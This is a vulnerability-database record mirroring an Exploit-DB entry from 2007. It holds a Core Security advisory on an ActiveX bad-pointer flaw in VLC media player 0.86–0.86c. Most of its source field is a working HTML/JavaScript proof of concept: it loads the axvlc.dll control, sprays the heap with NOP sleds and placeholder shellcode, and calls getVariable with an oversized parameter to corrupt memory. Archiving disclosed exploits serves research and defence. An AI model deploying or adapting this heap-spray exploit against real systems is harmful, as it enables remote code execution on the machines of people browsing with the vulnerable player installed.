{"id": "EDB-ID:4688", "vendorId": null, "type": "exploitdb", "bulletinFamily": "exploit", "title": "VideoLAN VLC Media Player 0.86 < 0.86d - ActiveX Remote Bad Pointer Initialization", "description": "", "published": "2007-12-04T00:00:00", "modified": "2007-12-04T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://www.exploit-db.com/exploits/4688", "reporter": "Ricardo Narvaja", "references": [], "cvelist": ["2007-6262"], "immutableFields": [], "lastseen": "2023-04-11T04:53:56", "viewCount": 14, "enchantments": {"dependencies": {}, "score": {"value": 0.9, "vector": "NONE"}, "backreferences": {"references": [{"type": "coresecurity", "idList": ["CORE-2007-1004"]}]}, "exploitation": null, "vulnersScore": 0.9}, "_state": {"dependencies": 1681188929, "score": 1683811524, "epss": 1681198192}, "_internal": {"score_hash": "5c3e21e4d079cafbf62b752a0ac566cc"}, "sourceHref": "https://gitlab.com/exploit-database/exploitdb/-/raw/main/exploits/windows/dos/4688.html", "sourceData": "<!--\n Core Security Technologiess - CoreLabs Advisory\n http://www.coresecurity.com/corelabs\n\n VLC Activex Bad Pointer Initialization Vulnerability\n\n*Advisory Information*\nTitle: VLC Activex Bad Pointer Initialization Vulnerability\nAdvisory ID: CORE-2007-1004\nAdvisory URL: http://www.coresecurity.com/?action=item&id=2035\nDate published: 2007-12-04\nDate of last update: 2007-12-03\nVendors contacted: VLC\nRelease mode: Coordinated Release\n\n*Vulnerability Description*\nVLC player is a popular multimedia player for various audio and video\nformats, and various streaming protocols.\n\nA vulnerability has been found in the ActiveX control DLL (axvlc.dll)\nused by VLC player. This library contains three methods whose parameters\nare not correctly checked, and may produce a bad initialized pointer. By\nproviding these functions specially crafted parameters, an attacker can\noverwrite memory zones and execute arbitrary code.\n\n*Vulnerable packages*\nVLC media player version 0.86, 0.86a, 0.86b y 0.86c.\n-->\n\n<html>\n<head>\n<object classid='clsid:E23FE9C6-778E-49D4-B537-38FCDE4887D8'\nid='target' ></object>\n</head>\n<body>\n <script>\n var mm = null;\n\n if( target != null )\n {\n var param1 = unescape(\"%u0505%u0505\");\n var salame = \"defaultV\";\n var salame2 = 1;\n var salame3 = 0;\n\n ag = unescape(\"%uCCCC%uCCCC\");\n sh =\nunescape(\"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%\");\n sz = sh.length * 2;\n npsz = 0x400000 - (sz + 0x38);\n nps = unescape(\"%u0505%u0505\");\n\n while(nps.length * 2 < npsz) nps += nps;\n ihbc = (0x0E000000 - 0x400000) / 0x400000;\n mm = new Array();\n\n for(i = 0; i <= ihbc; i++) mm[i] = nps + sh;\n\n for(var i=0;i<2000;i++)\n param1 = param1 + unescape(\"%u0505%u0505\");\n\n target.getVariable (param1);\n }\n </script>\n</body>\n</html>\n\n# milw0rm.com [2007-12-04]", "osvdbidlist": ["42192"], "exploitType": "dos", "verified": true}
{}
VideoLAN VLC Media Player 0.86 < 0.86d - ActiveX Remote Bad Pointer Initialization